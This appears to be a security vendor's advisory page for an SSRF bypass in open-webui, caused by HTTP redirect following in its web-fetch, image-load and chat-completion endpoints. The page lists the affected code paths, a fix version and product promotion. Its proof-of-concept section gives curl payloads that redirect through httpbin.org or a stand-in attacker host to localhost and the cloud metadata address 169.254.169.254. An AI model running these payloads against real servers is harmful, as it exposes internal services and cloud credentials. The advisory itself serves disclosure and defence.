Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-rh5x-h6pp-cjj6

HIGH

GHSA-rh5x-h6pp-cjj6 is a high-severity (CVSS 8.5) Server-Side Request Forgery (SSRF) vulnerability in open-webui. O3 Security confirms whether GHSA-rh5x-h6pp-cjj6 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Open WebUI has a SSRF Bypass via HTTP Redirect Following in Web-Fetch and Image-Load Endpoints (not addressed by CVE-2025-65958)

Also known asCVE-2026-45401PYSEC-2026-2755
Published
May 14, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 12, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-rh5x-h6pp-cjj6.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs22th percentile — riskier than 22% of all scored CVEsHighest risk
0.00%0.27%0.53%0.80%0.0%0.3%0.3%0.3%Jun 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-rh5x-h6pp-cjj6 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 358,265 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍open-webui

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints

Summary

The validate_url() function in backend/open_webui/retrieval/web/utils.py only validates the initial URL submitted by the caller. The HTTP clients used downstream (sync requests, async aiohttp, langchain's WebBaseLoader) follow HTTP 3xx redirects by default and do not re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. 127.0.0.1, 169.254.169.254, RFC1918) and read the internal response body via the /api/v1/retrieval/process/web endpoint, the /api/v1/images/... endpoints, the /api/chat/completions endpoint with an image_url content part, and any other route that calls these helpers.

Affected code paths

The bypass exists across multiple call sites; each independently follows redirects without re-validation.

Path 1 — sync _scrape via SafeWebBaseLoader

backend/open_webui/retrieval/web/utils.pySafeWebBaseLoader inherits from langchain_community.document_loaders.WebBaseLoader. The parent's _scrape() calls self.session.get(url, **self.requests_kwargs). requests_kwargs only sets timeout; allow_redirects=False is not passed, so requests.Session.get() follows redirects with the default allow_redirects=True. validate_url() is invoked once on the original URL only.

Path 2 — async _fetch (aiohttp)

backend/open_webui/retrieval/web/utils.py_fetch() previously inherited the aiohttp default allow_redirects=True. As of HEAD this path is fixed (allow_redirects=False). Listed for completeness.

Path 3 — get_content_from_url (sync requests.get)

backend/open_webui/retrieval/utils.pyresponse = requests.get(url, stream=True, timeout=30). No allow_redirects=False. Reached via /api/v1/retrieval/process/web (file ingestion) and other routers that resolve external URLs.

Path 4 — load_url_image (image edit)

backend/open_webui/routers/images.py — image-URL fetching helper used by the image-edit endpoint. Same pattern: validate_url() checks only the initial URL, the underlying HTTP client follows redirects without re-validation. Reachable via /api/v1/images/edit.

Path 5 — get_image_base64_from_url (chat-completion image inlining)

backend/open_webui/utils/files.pyget_image_base64_from_url() is invoked from convert_url_images_to_base64() in backend/open_webui/utils/middleware.py on every /api/chat/completions request whose message content includes an image_url part. The shared aiohttp session pool (backend/open_webui/utils/session_pool.py) does not override the aiohttp default allow_redirects=True, and the call site itself does not pass allow_redirects=False. This is the most reachable variant in the cluster: no special endpoint, no admin permission, no feature flag — any authenticated user can trigger it from a normal chat message.

Proof of concept

Authenticated low-privilege user; default config, no admin or special permissions required.

curl -X POST https://<target>/api/v1/retrieval/process/web \
  -H "Authorization: Bearer <any_user_token>" \
  -H "Content-Type: application/json" \
  -d '{"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&status_code=302"}'

Response body contains the internal /api/config payload in file.data.content. Replace the redirect target with http://169.254.169.254/latest/meta-data/ for cloud metadata, or any internal hostname reachable from the server.

For the chat-completion path (Path 5), the same redirect is followed when an image_url content part points to an attacker-controlled redirector:

curl -X POST https://<target>/api/chat/completions \
  -H "Authorization: Bearer <any_user_token>" \
  -H "Content-Type: application/json" \
  -d '{"model":"any","messages":[{"role":"user","content":[{"type":"text","text":"x"},{"type":"image_url","image_url":{"url":"http://attacker/redirect-to-imdsv1"}}]}]}'

Impact

Any authenticated user can read GET responses from any HTTP service reachable by the Open WebUI server process — cloud metadata services (IMDSv1 if available), localhost-bound application APIs, internal databases / monitoring / Kubernetes services, and VPN-bridged on-premise networks.

Recommended fix

For every call site that follows redirects, set allow_redirects=False on the underlying HTTP client and add a per-hop validation loop using validate_url() on each Location: header.

Credits

Per the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.

  • tenbbughunters — first to identify SafeWebBaseLoader sync _scrape (Path 1)
  • YLChen-007 — first to identify load_url_image (Path 4)
  • tempcollab — first to identify aiohttp _fetch (Path 2)
  • sneaXOR — first to identify get_content_from_url (Path 3)
  • nayakchinmohan — first to identify get_image_base64_from_url in chat-completion middleware (Path 5)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIopen-webuiall versions0.9.5

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update open-webui to 0.9.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rh5x-h6pp-cjj6 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-rh5x-h6pp-cjj6 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-rh5x-h6pp-cjj6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints ## Summary The `validate_url()` function in `backend/open_webui/retrieval/web/utils.py` only validates the *initial* URL submitted by the caller. The HTTP clients used downstream (sync `requests`, async `aiohttp`, langchain's `WebBaseLoader`) follow HTTP 3xx redirects by default and do **not** re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal add
O3 Security · Impact-Aware SCA

Is GHSA-rh5x-h6pp-cjj6 in your dependencies?

O3 detects GHSA-rh5x-h6pp-cjj6 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-rh5x-h6pp-cjj6: open-webui… | O3 Security